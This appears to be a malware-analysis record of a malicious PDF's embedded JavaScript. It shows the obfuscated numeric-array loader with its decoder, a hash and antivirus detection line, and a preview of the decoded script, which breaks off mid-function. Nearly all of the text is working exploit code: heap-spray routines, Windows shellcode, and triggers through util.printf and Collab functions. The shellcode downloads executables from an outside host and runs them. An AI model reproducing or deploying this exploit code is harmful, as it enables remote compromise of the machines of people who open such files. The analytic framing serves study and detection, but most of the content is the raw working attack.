,94,82,158,151,160,91,109,63,60,59,59,168,147,164,82,149,161,167,160,166,100,82,111,82,90,149,149,82,95,82,98,170,102,98,98,98,98,98,91,97,147,150,150,164,109,63,60,59,59,152,161,164,82,90,168,147,164,82,149,161,167,160,166,82,111,82,98,109,82,149,161,167,160,166,82,110,82,149,161,167,160,166,100,109,82,149,161,167,160,166,93,93,91,173,63,60,59,59,59,159,151,159,145,147,164,164,147,171,141,149,161,167,160,166,143,82,111,82,171,147,164,165,162,82,93,82,165,154,151,158,158,149,161,150,151,109,63,60,59,59,175,63,60,59,59,168,147,164,82,161,168,151,164,152,158,161,169,82,111,82,167,160,151,165,149,147,162,151,90,84,87,167,98,149,98,149,87,167,98,149,98,149,84,91,109,63,60,59,59,169,154,155,158,151,82,90,161,168,151,164,152,158,161,169,96,158,151,160,153,166,154,82,110,82,102,102,107,103,100,91,173,63,60,59,59,59,161,168,151,164,152,158,161,169,82,93,111,82,161,168,151,164,152,158,161,169,109,63,60,59,59,175,63,60,59,59,166,154,155,165,96,149,161,158,158,147,148,133,166,161,164,151,82,111,82,117,161,158,158,147,148,96,149,161,158,158,151,149,166,119,159,147,155,158,123,160,152,161,90,173,165,167,148,156,108,82,84,84,94,159,165,153,108,82,161,168,151,164,152,158,161,169,175,91,109,63,60,59,175,63,60,63,60,59,152,167,160,149,166,155,161,160,82,149,161,158,158,147,148,145,153,151,166,155,149,161,160,90,91,173,63,60,59,59,155,152,82,90,147,162,162,96,150,161,149,96,117,161,158,158,147,148,96,153,151,166,123,149,161,160,91,173,63,60,59,59,59,168,147,164,82,147,164,164,171,82,111,82,160,151,169,82,115,164,164,147,171,90,91,109,63,60,59,59,59,168,147,164,82,168,168,162,151,166,154,171,147,82,111,82,167,160,151,165,149,147,162,151,90,84,87,167,119,116,119,107,87,167,98,98,98,99,87,167,103,104,98,98,87,167,115,99,104,102,87,167,98,98,101,98,87,167,98,98,98,98,87,167,102,98,106,116,87,167,106,116,98,117,87,167,99,117,105,98,87,167,106,116,115,118,87,167,98,106,102,98,87,167,117,101,103,119,87,167,106,116,103,103,87,167,106,116,119,117,87,167,98,106,102,103,87,167,101,101,103,100,87,167,117,99,118,100,87,167,98,101,117,100,87,167,99,98,101,100,87,167,106,98,102,98,87,167,98,98,101,106,87,167,120,103,105,103,87,167,117,100,106,116,87,167,103,118,103,115,87,167,98,102,117,100,87,167,103,103,98,98,87,167,119,117,106,116,87,167,103,99,103,99,87,167,103,104,103,101,87,167,104,98,103,105,87,167,103,118,106,116,87,167,101,101,98,106,87,167,106,116,117,98,87,167,98,117,105,103,87,167,120,119,106,116,87,167,105,104,98,101,87,167,106,116,101,117,87,167,105,106,102,119,87,167,117,120,98,101,87,167,103,99,106,116,87,167,103,100,99,117,87,167,103,99,106,116,87,167,103,100,100,102,87,167,105,99,106,116,87,167,102,119,99,102,87,167,105,103,106,107,87,167,106,116,120,117,87,167,100,98,105,99,87,167,120,105,98,101,87,167,102,115,107,107,87,167,102,100,115,118,87,167,101,116,104,98,87,167,120,117,103,103,87,167,98,102,105,103,87,167,117,98,101,101,87,167,101,105,119,116,87,167,120,120,101,101,87,167,102,103,98,101,87,167,107,105,98,117,87,167,117,120,106,116,87,167,105,103,115,119,87,167,100,116,120,118,87,167,102,120,120,107,87,167,119,106,103,99,87,167,120,120,107,102,87,167,120,120,120,120,87,167,117,101,101,116,87,167,105,102,104,99,87,167,119,116,98,100,87,167,106,116,118,107,87,167,98,117,102,103,87,167,103,119,107,100,87,167,120,100,98,101,87,167,119,98,118,99,87,167,117,104,98,101,87,167,117,107,101,101,87,167,116,105,98,120,87,167,103,120,98,106,87,167,119,99,117,99,87,167,98,101,98,100,87,167,98,101,117,115,87,167,106,116,117,120,87,167,98,101,98,99,87,167,106,107,117,100,87,167,120,106,102,103,87,167,106,116,104,99,87,167,120,106,102,103,87,167,103,119,103,120,87,167,117,107,103,116,87,167,103,103,117,101,87,167,119,117,106,116,87,167,119,106,103,99,87,167,120,120,102,107,87,167,120,120,120,120,87,167,104,106,103,98,87,167,104,98,119,106,87,167,98,102,116,120,87,167,104,117,119,106,87,167,120,120,120,120,87,167,101,101,120,120,87,167,103,100,118,100,87,167,120,120,103,100,87,167,98,106,105,103,87,167,118,98,120,120,87,167,102,103,106,107,87,167,106,116,120,117,87,167,120,117,102,103,87,167,117,101,117,107,87,167,106,116,103,103,87,167,106,101,119,117,87,167,98,117,119,117,87,167,102,103,106,118,87,167,103,98,120,102,87,167,102,103,117,104,87,167,105,103,120,102,87,167,102,103,117,104,87,167,105,100,120,103,87,167,102,103,117,104,87,167,104,117,120,104,87,167,102,103,117,104,87,167,104,118,120,105,87,167,102,103,117,104,87,167,104,120,120,106,87,167,102,103,117,104,87,167,104,119,120,107,87,167,102,103,117,104,87,167,100,119,120,115,87,167,102,103,117,104,87,167,104,102,120,116,87,167,102,103,117,104,87,167,104,117,120,117,87,167,102,103,117,104,87,167,104,117,120,118,87,167,102,103,117,104,87,167,98,98,120,119,87,167,115,98,119,106,87,167,120,120,120,120,87,167,103,98,120,120,87,167,103,118,104,106,87,167,99,99,106,115,87,167,119,106,99,104,87,167,120,120,99,103,87,167,120,120,120,120,87,167,117,102,106,101,87,167,106,103,98,117,87,167,105,102,117,98,87,167,104,115,99,103,87,167,104,115,98,98,87,167,120,120,98,98,87,167,98,117,105,103,87,167,105,103,120,120,87,167,104,115,98,106,87,167,120,120,98,98,87,167,106,103,118,98,87,167,105,103,117,98,87,167,102,98,98,101,87,167,117,101,117,107,87,167,117,98,101,101,87,167,117,101,117,107,87,167,101,101,103,105,87,167,106,116,117,98,87,167,100,102,102,117,87,167,106,116,98,117,87,167,100,102,105,117,87,167,120,117,98,106,87,167,115,115,120,101,87,167,117,101,103,120,87,167,102,117,106,116,87,167,98,102,100,102,87,167,101,107,106,98,87,167,106,116,98,98,87,167,105,102,117,99,87,167,102,98,98,104,87,167,101,106,106,98,87,167,105,103,98,98,87,167,100,116,120,115,87,167,117,101,117,99,87,167,106,116,103,103,87,167,106,101,119,117,87,167,104,102,119,117,87,167,106,118,103,101,87,167,120,98,102,103,87,167,101,101,103,105,87,167,103,98,118,116,87,167,102,103,117,104,87,167,104,116,120,98,87,167,102,103,117,104,87,167,104,103,120,99,87,167,102,103,117,104,87,167,105,100,120,100,87,167,102,103,117,104,87,167,104,119,120,101,87,167,102,103,117,104,87,167,104,103,120,102,87,167,102,103,117,104,87,167,104,117,120,103,87,167,102,103,117,104,87,167,101,101,120,104,87,167,102,103,117,104,87,167,101,100,120,105,87,167,102,103,117,104,87,167,100,119,120,106,87,167,102,103,117,104,87,167,104,102,120,107,87,167,102,103,117,104,87,167,104,117,120,115,87,167,102,103,117,104,87,167,104,117,120,116,87,167,103,118,106,106,87,167,119,106,120,117,87,167,120,120,98,116,87,167,120,120,120,120,87,167,104,106,103,98,87,167,102,101,104,106,87,167,106,119,120,107,87,167,106,98,119,106,87,167,120,120,120,119,87,167,106,116,120,120,87,167,106,118,120,106,87,167,107,117,102,103,87,167,102,102,104,115,87,167,119,106,103,98,87,167,120,120,105,119,87,167,120,120,120,120,87,167,102,103,106,118,87,167,104,115,119,98,87,167,103,98,99,98,87,167,105,101,119,106,87,167,120,120,120,120,87,167,106,101,120,120,87,167,99,117,117,102,87,167,102,103,106,118,87,167,103,98,119,98,87,167,102,103,106,118,87,167,103,98,107,117,87,167,103,101,103,101,87,167,103,101,103,101,87,167,103,101,103,101,87,167,105,103,120,120,87,167,117,105,98,106,87,167,107,117,102,103,87,167,98,98,102,102,87,167,98,98,98,98,87,167,120,120,103,101,87,167,103,120,118,105,87,167,116,104,98,120,87,167,103,116,117,98,87,167,117,101,117,107,87,167,106,116,103,103,87,167,103,99,119,117,87,167,103,101,103,99,87,167,103,105,103,104,87,167,102,100,104,115,87,167,105,100,119,106,87,167,98,98,98,98,87,167,106,116,98,98,87,167,101,101,118,106,87,167,106,103,120,104,87,167,103,107,118,116,87,167,102,103,117,105,87,167,104,99,120,106,87,167,104,103,100,119,87,167,117,105,105,106,87,167,120,117,102,103,87,167,98,98,104,103,87,167,98,98,98,98,87,167,103,104,105,119,87,167,102,103,106,118,87,167,103,98,120,106,87,167,119,106,103,104,87,167,98,98,103,99,87,167,98,98,98,98,87,167,103,98,103,107,87,167,116,99,119,106,87,167,120,120,120,119,87,167,106,103,120,120,87,167,103,107,117,98,87,167,105,102,103,107,87,167,106,118,101,107,87,167,98,99,102,104,87,167,119,106,103,98,87,167,98,98,101,116,87,167,98,98,98,98,87,167,120,106,106,116,87,167,102,103,106,118,87,167,103,98,120,106,87,167,100,99,119,106,87,167,120,120,120,120,87,167,106,103,120,120,87,167,103,107,117,98,87,167,105,102,103,107,87,167,103,105,98,117,87,167,98,99,119,106,87,167,120,120,120,120,87,167,103,107,120,120,87,167,102,102,117,104,87,167,120,120,101,106,87,167,103,98,105,101,87,167,102,103,106,118,87,167,120,119,120,106,87,167,103,106,98,98,87,167,102,103,106,118,87,167,103,98,120,106,87,167,119,106,103,105,87,167,120,119,105,102,87,167,120,120,120,120,87,167,103,107,103,107,87,167,102,104,102,104,87,167,120,101,101,116,87,167,115,115,105,117,87,167,103,119,103,120,87,167,117,107,103,116,87,167,103,103,117,101,87,167,119,117,106,116,87,167,103,101,103,99,87,167,104,98,104,104,87,167,101,100,116,99,87,167,98,98,119,106,87,167,98,98,98,98,87,167,103,106,98,98,87,167,98,106,101,106,87,167,98,101,105,102,87,167,119,116,102,98,87,167,102,98,120,107,87,167,103,118,106,116,87,167,106,98,98,106,87,167,102,100,120,116,87,167,98,106,105,103,87,167,118,116,101,101,87,167,99,106,106,115,87,167,117,101,106,116,87,167,99,105,119,116,87,167,99,106,101,106,87,167,99,99,105,104,87,167,101,101,102,98,87,167,106,102,117,107,87,167,105,102,118,116,87,167,102,98,98,117,87,167,98,106,101,106,87,167,120,116,105,103,87,167,120,119,102,98,87,167,119,116,117,116,87,167,101,101,120,100,87,167,106,107,117,98,87,167,120,117,102,103,87,167,102,103,106,116,87,167,103,116,120,117,87,167,117,101,117,107,87,167,98,100,101,100,87,167,105,102,104,106,87,167,105,98,105,102,87,167,100,120,101,115,87,167,104,118,100,120,87,167,105,100,104,107,87,167,104,120,105,100,87,167,104,120,105,100,87,167,104,103,104,119,87,167,104,120,105,100,87,167,104,107,104,104,87,167,104,103,105,104,87,167,104,101,100,119,87,167,104,118,104,120,87,167,105,101,100,120,87,167,104,103,104,117,87,167,105,98,104,103,87,167,104,100,100,120,87,167,105,100,104,117,87,167,101,100,105,106,87,167,104,103,100,119,87,167,104,103,105,106,87,167,104,106,98,98,87,167,105,102,105,102,87,167,101,115,105,98,87,167,100,120,100,120,87,167,104,107,104,118,87,167,105,100,105,100,87,167,105,100,104,120,87,167,104,119,104,120,87,167,105,100,104,103,87,167,104,104,104,120,87,167,105,104,104,107,87,167,100,119,104,103,87,167,104,120,104,101,87,167,100,120,104,118,87,167,104,117,105,101,87,167,104,103,104,103,87,167,100,120,105,98,87,167,104,117,104,101,87,167,104,101,104,107,87,167,100,119,104,116,87,167,104,106,105,98,87,167,101,120,105,98,87,167,101,118,105,100,87,167,98,98,98,98,84,91,109,63,60,59,59,59,168,147,164,82,154,137,163,103,98,98,117,128,82,111,82,168,168,162,151,166,154,171,147,96,158,151,160,153,166,154,82,92,82,100,109,63,60,59,59,59,168,147,164,82,158,151,160,82,111,82,98,170,102,98,98,98,98,98,82,95,82,90,154,137,163,103,98,98,117,128,82,93,82,98,170,101,106,91,109,63,60,59,59,59,168,147,164,82,171,147,164,165,162,82,111,82,167,160,151,165,149,147,162,151,90,84,87,167,107,98,107,98,87,167,107,98,107,98,84,91,109,63,60,59,59,59,171,147,164,165,162,82,111,82,152,155,170,145,155,166,90,171,147,164,165,162,94,82,158,151,160,91,109,63,60,59,59,59,168,147,164,82,162,103,115,156,125,104,103,152,82,111,82,90,98,170,98,149,98,149,98,149,98,149,82,95,82,98,170,102,98,98,98,98,98,91,82,97,82,98,170,102,98,98,98,98,98,109,63,60,59,59,59,152,161,164,82,90,168,147,164,82,168,163,149,131,118,107,104,171,82,111,82,98,109,82,168,163,149,131,118,107,104,171,82,110,82,162,103,115,156,125,104,103,152,109,82,168,163,149,131,118,107,104,171,82,93,93,82,91,173,63,60,59,59,59,59,147,164,164,171,141,168,163,149,131,118,107,104,171,143,82,111,82,171,147,164,165,162,82,93,82,168,168,162,151,166,154,171,147,109,63,60,59,59,59,175,63,60,59,59,59,168,147,164,82,166,135,127,154,128,148,121,169,82,111,82,167,160,151,165,149,147,162,151,90,84,87,98,107,84,91,109,63,60,59,59,59,169,154,155,158,151,82,90,166,135,127,154,128,148,121,169,96,158,151,160,153,166,154,82,110,82,98,170,102,98,98,98,91,173,63,60,59,59,59,59,166,135,127,154,128,148,121,169,82,93,111,82,166,135,127,154,128,148,121,169,109,63,60,59,59,59,175,63,60,59,59,59,166,135,127,154,128,148,121,169,82,111,82,84,128,96,84,82,93,82,166,135,127,154,128,148,121,169,109,63,60,59,59,59,147,162,162,96,150,161,149,96,117,161,158,158,147,148,96,153,151,166,123,149,161,160,90,166,135,127,154,128,148,121,169,91,109,63,60,59,59,175,63,60,59,175,63,60,63,60,59,152,167,160,149,166,155,161,160,82,162,150,152,145,165,166,147,164,166,90,91,173,63,60,63,60,59,59,168,147,164,82,168,151,164,165,155,161,160,82,111,82,147,162,162,96,168,155,151,169,151,164,136,151,164,165,155,161,160,96,166,161,133,166,164,155,160,153,90,91,109,63,60,59,59,168,151,164,165,155,161,160,82,111,82,168,151,164,165,155,161,160,96,164,151,162,158,147,149,151,90,97,142,118,97,153,94,89,89,91,109,63,60,59,59,168,147,164,82,168,147,164,165,155,161,160,145,147,164,164,147,171,82,111,82,160,151,169,82,115,164,164,147,171,90,168,151,164,165,155,161,160,96,149,154,147,164,115,166,90,98,91,94,82,168,151,164,165,155,161,160,96,149,154,147,164,115,166,90,99,91,94,82,168,151,164,165,155,161,160,96,149,154,147,164,115,166,90,100,91,91,109,63,60,59,59,155,152,82,90,90,168,147,164,165,155,161,160,145,147,164,164,147,171,141,98,143,82,111,111,82,106,91,82,88,88,82,90,168,147,164,165,155,161,160,145,147,164,164,147,171,141,99,143,82,111,111,82,98,91,82,174,174,82,90,168,147,164,165,155,161,160,145,147,164,164,147,171,141,99,143,82,111,111,82,99,82,88,88,82,168,147,164,165,155,161,160,145,147,164,164,147,171,141,100,143,82,110,82,101,91,91,173,63,60,59,59,59,167,166,155,158,145,162,164,155,160,166,152,90,91,109,63,60,59,59,175,63,60,59,59,155,152,82,90,90,168,147,164,165,155,161,160,145,147,164,164,147,171,141,98,143,82,110,82,106,91,82,174,174,82,90,168,147,164,165,155,161,160,145,147,164,164,147,171,141,98,143,82,111,111,82,106,82,88,88,82,168,147,164,165,155,161,160,145,147,164,164,147,171,141,99,143,82,110,82,100,82,88,88,82,168,147,164,165,155,161,160,145,147,164,164,147,171,141,100,143,82,110,82,100,91,91,173,63,60,59,59,59,149,161,158,158,147,148,145,151,159,147,155,158,90,91,109,63,60,59,59,175,63,60,59,59,155,152,82,90,90,168,147,164,165,155,161,160,145,147,164,164,147,171,141,98,143,82,110,82,107,91,82,174,174,82,90,168,147,164,165,155,161,160,145,147,164,164,147,171,141,98,143,82,111,111,82,107,82,88,88,82,168,147,164,165,155,161,160,145,147,164,164,147,171,141,99,143,82,110,82,99,91,91,173,63,60,59,59,59,149,161,158,158,147,148,145,153,151,166,155,149,161,160,90,91,109,63,60,59,59,175,63,60,59,175,63,60,63,60,59,162,150,152,145,165,166,147,164,166,90,91,109,63,60,59],adgmqs=function(){for(var bghkvw;zfxdu<bcfquy.length;zfxdu+=1){var chlox=zfxdu%ozpu.length+1;var xuaz=ozpu.substring(zfxdu%ozpu.length,chlox);var ictnzl=bcfquy[zfxdu];dehs+=hkxy(ictnzl-xuaz.charCodeAt(0));} zsemi(dehs);};adgmqs();dfiln="dfiln";bzxct=46245;djoprw=61063;hopstv='';hkoux="";bcdij=true;befitx="befitx";
`legacy_pdfkit_stage_000.js`	deobfuscated-js	numeric array subtract-key decoded JavaScript at offset 0x1A5	10066 bytes
SHA-256: `79215d851982b8b27e5b3407dc7bb1db17953f57b3f2831c822b8a269b9b71c2`
Detection ClamAV: Js.Exploit.Shellcode-18 Obfuscation or payload: likely Carved artifact contains 9 eval/decoder/string-building token(s). Carved artifact contains 1 long base64-like blob(s).
Preview script First 1,000 lines of the extracted script function fix_it(yarsp, len){ while (yarsp.length * 2 < len){ yarsp += yarsp; } yarsp = yarsp.substring(0, len/2); return yarsp; } function util_printf(){ var payload = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u612F%u6863%u7469%u2E32%u7865%u0065%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u632F%u696C%u6B63%u702E%u7068%u723F%u003D"); var nop = unescape("%u0A0A%u0A0A%u0A0A%u0A0A") var heapblock = nop + payload; var bigblock = unescape("%u0A0A%u0A0A"); var headersize = 20; var spray = headersize + heapblock.length; while (bigblock.length < spray){ bigblock += bigblock; } var fillblock = bigblock.substring(0, spray); var block = bigblock.substring(0, bigblock.length-spray); while (block.length+spray < 0x40000){ block = block + block + fillblock; } var mem_array = new Array(); for (var i = 0; i < 1400; i++){ mem_array[i] = block + heapblock; } var num = 12999999999999999999888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888888; util.printf("%45000f", num); } function collab_email(){ var shellcode = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u682F%u7370%u3278%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var mem_array = new Array(); var cc = 0x0c0c0c0c; var addr = 0x400000; var sc_len = shellcode.length * 2; var len = addr - (sc_len+0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var count2 = (cc - 0x400000)/addr; for (var count = 0; count < count2; count++){ mem_array[count] = yarsp + shellcode; } var overflow = unescape("%u0c0c%u0c0c"); while (overflow.length < 44952){ overflow += overflow; } this.collabStore = Collab.collectEmailInfo({subj: "",msg: overflow}); } function collab_geticon(){ if (app.doc.Collab.getIcon){ var arry = new Array(); var vvpethya = unescape("%uEBE9%u0001%u5600%uA164%u0030%u0000%u408B%u8B0C%u1C70%u8BAD%u0840%uC35E%u8B55%u8BEC%u0845%u3352%uC1D2%u03C2%u1032%u8040%u0038%uF575%uC28B%u5D5A%u04C2%u5500%uEC8B%u5151%u5653%u6057%u5D8B%u3308%u8BC0%u0C75%uFE8B%u7603%u8B3C%u784E%uCF03%u518B%u521C%u518B%u5224%u718B%u4E14%u7589%u8BFC%u2071%uF703%u4A99%u42AD%u3B60%uFC55%u0475%uC033%u37EB%uFF33%u4503%u970C%uCF8B%u75AE%u2BFD%u4FF9%uE851%uFF94%uFFFF%uC33B%u7461%uEB02%u8BD9%u0C45%u5E92%uF203%uE0D1%uC603%uC933%uB70F%u5F08%uE1C1%u0302%u03CA%u8BCF%u0301%u89C2%uF845%u8B61%uF845%u5E5F%uC95B%u55C3%uEC8B%uE851%uFF49%uFFFF%u6850%u60E8%u04BF%u6CE8%uFFFF%u33FF%u52D2%uFF52%u0875%uD0FF%u4589%u8BFC%uFC45%uC3C9%u8B55%u83EC%u0CEC%u458D%u50F4%u45C6%u75F4%u45C6%u72F5%u45C6%u6CF6%u45C6%u6DF7%u45C6%u6FF8%u45C6%u6EF9%u45C6%u2EFA%u45C6%u64FB%u45C6%u6CFC%u45C6%u6CFD%u45C6%u00FE%uA0E8%uFFFF%u50FF%u5D68%u118A%uE816%uFF15%uFFFF%uC483%u850C%u74C0%u6A15%u6A00%uFF00%u0C75%u75FF%u6A08%uFF00%u85D0%u75C0%u4003%uC3C9%uC033%uC3C9%u3357%u8BC0%u244C%u8B0C%u247C%uFC08%uAAF3%uC35F%u4C8B%u0424%u3980%u8B00%u74C1%u4006%u3880%u7500%u2BFA%uC3C1%u8B55%u83EC%u64EC%u8D53%uF045%u3357%u50DB%u45C6%u6BF0%u45C6%u65F1%u45C6%u72F2%u45C6%u6EF3%u45C6%u65F4%u45C6%u6CF5%u45C6%u33F6%u45C6%u32F7%u45C6%u2EF8%u45C6%u64F9%u45C6%u6CFA%u45C6%u6CFB%u5D88%uE8FC%uFF0B%uFFFF%u6850%u4368%u8EF9%u80E8%uFFFE%u8BFF%u8DF8%u9C45%u446A%uE850%uFF7E%uFFFF%u458D%u6AE0%u5010%u73E8%uFFFF%u83FF%u1CC4%u458D%u50E0%u458D%u509C%u5353%u5353%u5353%u75FF%uC708%u9C45%u0044%u0000%uFF53%u5FD7%uB60F%u5BC0%uC3C9%u8B55%u51EC%u5351%u5756%u426A%u72E8%u0000%u8B00%u33D8%u85F6%u59DB%u45C7%u61F8%u652E%uC778%uFC45%u0065%u0000%u567E%u458D%u50F8%uE856%u0051%u0000%u5059%uB1E8%uFFFE%u85FF%u59C0%u7459%u8D39%u0146%uE850%u003B%u0000%uF88B%u458D%u50F8%u21E8%uFFFF%u85FF%u59C0%u7459%u570C%u01E8%uFFFF%u59FF%u44C6%uFF38%u5073%u458D%uFEF8%u5800%u458D%u50F8%uE857%uFE74%uFFFF%u5959%u4646%uF33B%uAA7C%u5E5F%uC95B%u55C3%uEC8B%u5351%u6066%u32B1%u00E8%u0000%u5800%u0838%u0374%uEB40%u40F9%u5D8B%u8008%u42FB%u0875%uDB33%u188A%uC38B%u17EB%u1838%u1176%u3340%u84C9%u74DB%u400C%u0838%uFB75%uFE40%uEBCB%u33F2%u89C0%uFC45%u458B%u5BFC%uC3C9%u0232%u7468%u7074%u2F3A%u6D2F%u7269%u6F72%u6F72%u656E%u6F72%u6966%u6576%u632E%u6D6F%u732F%u656C%u7065%u622F%u726C%u3278%u652E%u6578%u6800%u7474%u3A70%u2F2F%u696D%u7272%u726F%u6E6F%u7265%u666F%u7669%u2E65%u6F63%u2F6D%u6C73%u6565%u2F70%u6C63%u6369%u2E6B%u6870%u3F70%u3D72%u0000"); var hWq500CN = vvpethya.length * 2; var len = 0x400000 - (hWq500CN + 0x38); var yarsp = unescape("%u9090%u9090"); yarsp = fix_it(yarsp, len); var p5AjK65f = (0x0c0c0c0c - 0x400000) / 0x400000; for (var vqcQD96y = 0; vqcQD96y < p5AjK65f; vqcQD96y ++ ){ arry[vqcQD96y] = yarsp + vvpethya; } var tUMhNbGw = unescape("%09"); while (tUMhNbGw.length < 0x4000){ tUMhNbGw += tUMhNbGw; } 